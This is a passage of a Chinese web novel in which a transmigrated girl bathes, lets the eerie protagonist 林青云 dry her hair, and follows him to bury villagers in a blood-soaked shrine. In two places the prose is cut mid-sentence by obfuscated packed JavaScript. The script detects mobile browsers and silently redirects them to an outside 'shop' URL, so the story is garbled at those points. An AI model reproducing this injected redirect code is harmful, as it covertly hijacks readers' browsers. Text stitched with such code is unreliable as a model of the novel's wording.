《我生来最恨反派》 3. 漏洞百出 林青云微笑着看着荷濯茗——荷濯茗想了想,见他不说话,也没搞懂他是什么意思,便同样对他露出一个笑脸示好,转头拿起他刚放下的水囊一阵咕噜咕噜的灌水。 他水囊里的水是甜的。 荷濯茗喝饱之后抹了抹嘴,低头一看自己手背上脏兮兮的,袖子上也脏兮兮的。 眼下她已经吃饱喝足,满足了最基础的生存需求后,荷濯茗难免就要产生些更高一级的需求:比如说她现在很想洗澡,如果可以洗个热水澡,那就更好了。 她放下水囊,瞥了一眼林青云,见他仍旧笑笑的望着自己——荷濯茗心里不禁犯嘀咕:他在笑什么?又一直看着我干什么? 林青云在等荷濯茗解释自己的名字是哪三个字。 一般别人向他介绍自己的名字,都会在说完之后,又写一遍给他的。 然而荷濯茗踌躇半晌,再度开口时却问:“那个……男——林,林……” 林青云:“叫我青云就好。” 荷濯茗松了口气,“噢,青云——我想洗个热水澡,能不能跟你借一套干净的衣服啊?” 林青云第一次听到这样的要求,眨了眨眼,没有立刻回答。 荷濯茗缺心眼,问完之后就眼巴巴看着他——他一时半会不说话,荷濯茗也没怀疑是人家不愿意借,还寻思男主反应有点迟钝。 二人四目相对,片刻寂静。 林青云最后还是露出来一个笑脸,道:“当然可以。那边的柴房有灶台,那边是井口,你想洗热水澡的话,打水上来烧热就可以洗了。” “给,这是蜡烛,你可以拿进柴房里照明。” 荷濯茗眼睁睁看着他手腕一转,掌心就出现了一根白蜡烛,简直像是在变戏法。 她接过蜡烛,又好奇看着林青云的手——荷濯茗脸上的好奇神色实在是过于明显,林青云看出来了,主动解释:“我有一个芥子界,就像寻常修士随身携带的储物袋一样,可以存放些许杂物。这些东西一开始就放在我的芥子界中,并不是凭空出现的。” 荷濯茗连连点头,装作恍然大悟:“原来如此——” 实际上并没有听懂。看小说的时候遇到掏法器和水字数战斗环节,她都是直接跳过的。 不过男主是真的很好心,自己都没问,他就先给自己解释了;想到自己以前还在评论区骂男主见到女的就马上舍命相救,是无可救药的圣母病,荷濯茗顿时感到十分羞愧。 她捧着蜡烛,真挚的对男主道:“对不起。” 林青云保持微笑:“?” 他还在等荷濯茗的下一句话,结果荷濯茗说完对不起就跑掉了,徒留林青云一个人在原地茫然的保持微笑。 他疑惑的侧过脸,看向荷濯茗背影;少女正拿着蜡烛向火堆借火,点燃后便端着蜡烛跑到井口处打水。 井口旁边就有水桶,荷濯茗看那水桶也不大,想来自己能拎得动——她又研究了一下辘轳,很不熟练的把水桶绑上去,吊下井。 夜很黑,烛光也照不到井底,荷濯茗不知道这口井有多深,只好一直把水桶往下放。 在重复摇辘轳的时候,荷濯茗的脑子放松下来,开始胡思乱想;她一会想自己那个装着金子珠子的包裹,不知道这个世界的钱币是怎么算的,金子能值多少钱,那些钱够自己花吗?一会又想不知道灶台要怎么用,洗冷水行不行? 她从没干过家务活,长这么大,连自己的袜子都没洗过,自然也不会用灶台烧水。 她一边胡思乱想着,一边把浸满水的水桶吊起来,拎进柴房。 蜡烛光摇摇晃晃,照得整个柴房昏昏暗暗。荷濯茗借着光把屋里打量一番,没看懂灶台要怎么使用,但是看见墙边靠放着一把镰刀,便顺手拿来放在近旁。 自然,荷濯茗也不会用镰刀的。 不过她觉得手边有个触手可及的武器,会很有安全感。至于那个根本看不懂的灶台,荷濯茗已经放弃,决定洗冷水澡了。 她找到了一个足够大的木桶,把冷水倒进去,看着水不太够,又跑了两趟,才将木桶装满一半。 林青云看她忙活得差不多了,便走到柴房窗边,将一套干净的衣服鞋袜放到窗台上,道:“衣服我放在这了,我人就在篝火旁边,如果遇到奇怪的事情,可以叫我。” 荷濯茗疑惑:“奇怪的事情是指……” 林青云笑眯眯的暗示道:“秽神身边一般都会聚集许多助纣为虐的妖鬼。” 他笑起来自然是很可爱的,但说的话却很恐怖。 荷濯茗回想起那尊容貌诡异的神像,不由得打了个寒噤,连连点头:“我、我会小心的!” 林青云叮嘱完,便转身走开,非常坦荡并且很君子的一直拿后背对着柴房窗户。 不过荷濯茗压根没注意到这点,她拿过那套衣服后,就将窗户关上——而后又盯着关上的窗户看了一会,荷濯茗还是重新把它打开一条缝隙。 她脱下衣服鞋袜,泡进去洗澡时发现井水比自己想象中的还要冷,冻得她直打哆嗦,不禁又委屈的掉了会眼泪,同时坚定了一个念头:她一定要想办法回到现代去! 就是不知道要怎么回去。 我是怎么穿越到这个世界来的? 荷濯茗咬着手指努力回想,但那些记忆模模糊糊如同隔雾看花,根本看不清楚。 她既记不起来自己是怎么穿越过来的,并且也快要把小说剧情都给忘光了。这种‘忘记’并不正常,就好像有一个橡皮擦在擦掉荷濯茗的记忆,可是她又没办法阻止。 她越回想,越因为记忆模糊而觉得害怕,一害怕,就没出息的一直掉眼泪。忽然间,男主那张笑盈盈的,总浮着梨涡的脸,一下子出现在荷濯茗脑海里。 男主人那么好,是原著盖章的绝不会骗女人的男人——他是不是能帮到我呢? 荷濯茗迟疑着,悄悄靠近窗户处打开的那一线缝隙。木桶里冰冷的井水,随着她的移动而泛起微微波澜。 她趴在窗台上,从缝隙处往外看:外面到处都很昏暗,篝火光不稳定的晃动,将背对柴房窗户的年轻人勾画出模糊轮廓来。 他的耳坠子很显眼,也不知道是什么材料做的,被篝火光一照,亮闪闪,跟星子一样,在他耳际一晃一晃,吸引着人的视线。 忽然有一阵夜风吹过来,吹得篝火骤然往上窜起来半截,也吹得荷濯茗一个哆嗦,没忍住打了个喷嚏。 她自己吓了一跳,连忙转身屏气潜进水里,心脏在水底咕咚咕咚得跳,不知为何很紧张,睁大的眼睛眼看着一连串气泡从自己鼻子尖往上冒。 半晌,一口气快要憋不住了,荷濯茗才狼狈的冒出水面大口呼吸。 她捋了捋挡住视线的湿发,又小心翼翼凑近窗户缝隙看了眼外面——男主好像什么都没发现,仍旧背对柴房窗户坐在篝火堆边,耳际的长坠子一闪一闪。 荷濯茗松了口气,拍拍自己胸口,“嗨呀,自己吓自己……” 林青云屈指一弹,将燃了一半的招风符扔进篝火堆里,双眸笑弯弯的,嘴上自言自语:“嗨呀,自己吓自己~” 他说出口的话,完全是荷濯茗刚刚说话的语调。 不一会,有脚步声从柴房里走出来——林青云偏过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347201|199530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头去看,只见荷濯茗湿着头发走了过来,她的脸都洗干净了,眼眶红红的,还有点肿,好似哭过许久。 他的衣服套在荷濯茗身上,委实是大了许多,她不得不把衣袖和裤腿全部都卷起来,露出手腕和半截小臂。 林青云借给她的衣服是红衣,烈红色彩衬得她肤色很白;这让他想到了见荷濯茗的第一面,那时候她穿着红嫁衣。 虽然是做戏,但那确实是他头一回当新郎,头一回和女孩子拜天地。一拜的时候小姑娘哭得好丑,搞得他都不想走流程了,想掏点糖出来哄一哄她,好教她不要再哭了。 荷濯茗拧着滴水的头发,蹲下来靠近篝火——她想借火焰的热烤一下头发,好让它快点干。 然而不等她将脑袋凑近篝火,林青云先把脑袋凑了过来。 林青云好奇:“你在干什么?” 他突如其来的凑近,弄得荷濯茗一愣,慢半拍的回答:“……烤头发。” 林青云握住她肩膀,把她身子扳过来,道:“你这样直接凑过去,会把头发点着的。我来帮你。” 荷濯茗还沉浸在这人劲儿真大,一只手就能握住自己肩膀的震撼中——林青云已经伸手捧住她头发。 一丝一丝的水珠从她发间分离出来,落入地面,不过几息功夫,便已经让荷濯茗头发恢复了干爽。 林青云将手指穿入她厚密乌发间拨弄了两下,又松开手,笑眯眯道:“好了。” 荷濯茗后知后觉,伸手摸着他刚才拨弄过的头发,感觉哪里有点怪怪的。 这就是中央空调集中供暖的威力吗……啊呸! 什么中央空调!这是善良体贴心细温柔!这是男主的优秀人品! 荷濯茗真挚道:“谢谢……青云,你真是个好人,谢谢你借我的衣服,还帮我烘干头发。” 林青云:“不用谢——你的眼眶怎么红红的,你哭了吗?” 荷濯茗:“嗳……” 林青云伸出食指,指尖轻轻按在她眼角。 他的手指好冷,像石头一样毫无温度,但触碰了一会荷濯茗眼尾后,也渐渐染上她皮肤上的温度。 荷濯茗有些不适应的眨眼,眼尾的眼睫毛扫过林青云指尖。 她道:“洗澡的井水太冷……就哭了一会。” 林青云恍然大悟:“原来如此。” 他收回手去,并一下子和荷濯茗拉开了距离——荷濯茗看见他身上穿着同自己这身一样的红衣。 之前没有仔细看,荷濯茗还以为是他没脱新郎服。 原来不是新郎服。 她摸了摸自己眼尾,刚才被林青云手指碰到的那块皮肤还有点冰。 正常人的手不会那么冷,而且这还是在夏天——只可惜荷濯茗依旧没有意识到这个问题。 一阵马蹄声由远及近,荷濯茗循声抬头:只见微亮的天光中,那匹青骢马慢悠悠走了过来。 马嘴里还叼着一把铁铲。 青骢马走到两人身边,松开嘴把铲子丢下;林青云站起来,拍了拍马脖子,笑眯眯夸它:“好马儿,好马儿——” 荷濯茗也站起来,好奇的观望着那匹马。 很神骏高大的一匹马,立在那里足有她脖颈那样高,浑身毛发油光发亮,像是马身子上挂了匹绸缎一样。 林青云一手拉住辔头上绕的缰绳,一手拿起铁铲,转过头对荷濯茗道:“现在天色已经要亮啦~你快骑上青阳出山,去找你的亲戚吧。” 荷濯茗抬头往天上看:太阳还没出来,但天色确实亮起来了,星星和月亮都暗淡得像掉色,将熄未熄的挂在天边。 4.报恩 她昨天确实跟林青云说过,要出山去找亲戚之类的话——但昨天是昨天,今天是今天,人总归是善变的。 荷濯茗磨磨蹭蹭的走到青骢马旁边,装模作样摸着马背上的藤编坐垫,道:“我、我一个人走吗?你刚刚不是说,秽神周围通常会聚集很多妖鬼……我半路要是碰上妖鬼了怎么办?” 林青云:“青阳会避开它们的。” 荷濯茗:“那——那万一要是,没避开呢?” 林青云微笑道:“青阳很聪明的,你不用担心这个。” 他言辞诚恳,荷濯茗绞尽脑汁也想不出反驳的理由,直到眼角余光扫到他手上铁铲——荷濯茗干咳一声,很生硬的转移话题,“你拿铲子做什么?” 林青云依旧耐心的同她解释:“我昨天不是跟你说过吗?死者为大,我得帮野庙里那些死了的村民下葬。” “死的人那么多,我得挖很多坑,才能让他们全都入土为安。” 荷濯茗闻言,眼睛一下子就亮了,“那我也来帮你好了!” 林青云:“但你不是要去找亲戚……” 荷濯茗义正严词道:“你救了我的命,是我的救命恩人,我怎么能只顾着自己的事情,而让你一个人挖那么多坟呢?不行不行,我一定得留下来帮你,你就当是给我一个报恩的机会吧——如果我亲戚知道我是为了报恩,肯定也会支持我的!” 她一口气说完了一长串话,自认为有理有据条件充足,但还是害怕林青云会拒绝自己,所以说完话后便眼睛眨也不眨的盯着他。 林青云同她双眸对视片刻,倏忽改变主意,笑着答应:“好呀,那你来帮忙吧。” 工具不用担心,农舍柴房里就有现成的。荷濯茗也从里面找出一把铁铲,跟着林青云到野庙里去——他们穿过田埂,两边都是及腰的青青稻苗,那匹青骢马跟在荷濯茗身后,走得慢慢悠悠,不慌不忙。 走到一半,太阳升出来了,晒得人身上热热的。 荷濯茗额头上很快就被晒出一层薄汗 ,她抬起胳膊用衣袖擦汗,忽然意识到总跟在自己身后的马蹄声不见了,回头去看时,忍不住大叫:“青云!你马不见了!” 林青云镇定自若道:“它经常不见,不会有事的。” 荷濯茗:“它其实不是普通的马吧?” 林青云回答:“嗯,其实是龙来着。” 荷濯茗:“……说是龙的话就有点假了。” 林青云爽朗的笑,“是吗?我以为会很有意思呢哈哈哈——” 边说话边走路,二人很快就越过稻田,到了野庙面前。 野庙外面的墙壁上还贴着红双喜的剪纸,屋檐处仍旧张灯结彩,没有什么变化。 荷濯茗扒着敞开的庙门,十分谨慎的探头往里瞥:庙里倒满尸体和脑袋,中央那座邪诡的神像被人从正中劈成了两半,分别朝着两边倒下了。 林青云本来要直接进去,见荷濯茗狗狗祟祟的模样,觉得好玩,于是跟到她身后,也探头往野庙里面看。 荷濯茗道:“都过去两天了,又是夏季,这么热,这些尸体居然都没有烂掉。” 林青云:“受到秽神影响的人,死后尸体也会异于常人,异常的情况会根据他们所侍奉的秽神而所有不同。” 秽神,顾名思义,即不洁净不正道的神——在《问道》的世界观中,假借神明名义为自己建观立庙,收取香火的精怪,便是秽神。 但不是随便什么精怪都能当秽神的,能霸占一方土地,拥有庙宇的精怪,即使力量不足以和正神相提并论,那也是实力强大的一地妖王。只要性情不过于残暴,修士们并不会去同它作对。 至于真正的正神——只要秽神不在他们地盘上兴风作浪,正神就更加不会轻易出手了。 不过荷濯茗模糊记得,男主十分厌恶秽神,已经到了冒头就秒的地步。 但荷濯茗穿越之前所看的剧情里,好像并未提到男主厌恶秽神的原因——等等,是作者还没写到,还是自己又忘记了? 荷濯茗迷糊了一瞬,分不清楚,但她很快想到男主本人此刻就站在自己身后;荷濯茗曲起胳膊,用胳膊肘撞了撞林青云胸口,问:“我问你噢,你为什么要杀这个秽神啊?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17350511|199530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>林青云低头看了眼自己胸口,又看看荷濯茗头顶。 她问话的时候甚至没有回头看他。 林青云伸手摁住她的脑袋,将其转向自己。 荷濯茗:“?” 林青云笑眯眯:“看着我的眼睛,再问一遍。” 荷濯茗不明所以,但是照做,看着林青云的眼睛再问了一遍。 林青云回答:“我不是要杀秽神,我是觉得这个村子里的人很可怜——被秽神控制,失去耳朵和舌头,变成半人半妖的怪物。” “人变成怪物,本身就已经很可怜了,还要为秽神承担繁衍的任务,再生下一窝小怪物,那样活着又有什么意思……我得帮助他们呀。” 他言辞诚恳,说话时脸上还浮着很淡但非常可爱非常有亲和力的浅笑。 荷濯茗感觉他说的这句话有点怪——她一边觉得林青云的想法很善良,一边又觉得这人杀了好多人挺……挺…… 看着林青云垂向她的面孔,笑盈盈面颊上的梨涡,荷濯茗又没办法对着他的脸说出任何一句负面形容词。 正当她陷入纠结时,林青云忽然松开她脑袋,转而在她面前打了个响指:“不要发呆,开始干活吧小荷!” 荷濯茗回过神来,但还有些糊涂,抱着铲子跟在林青云身后踏入野庙。 在门外看着是一种感觉,进入门内又是另外一种感觉——扑面而来强烈的血腥气,熏得荷濯茗整张脸都皱了起来,并且眼泪先于思考能力的从她眼眶里涌出。 她一边用袖子擦着眼泪,一边小心翼翼避开地面尸体和头颅,意图在满地凌乱中找到一个可以下脚的地方。 只要能让她不踩着尸体就行,至于干净——荷濯茗已经不做要求了;因为野庙内的每一块地砖上,都浸满了凝固的乌色血迹。 不同于下脚磕磕绊绊走得举步维艰的少女,林青云脚步轻快,走在这种抛尸地一样的地方就像走在平地上一样,而且还能保证自己不踩着任何一具尸体或者脑袋。 他拎起就近的一具尸体,辨认片刻后从地板上拾起与其对应的脑袋,将其安回去。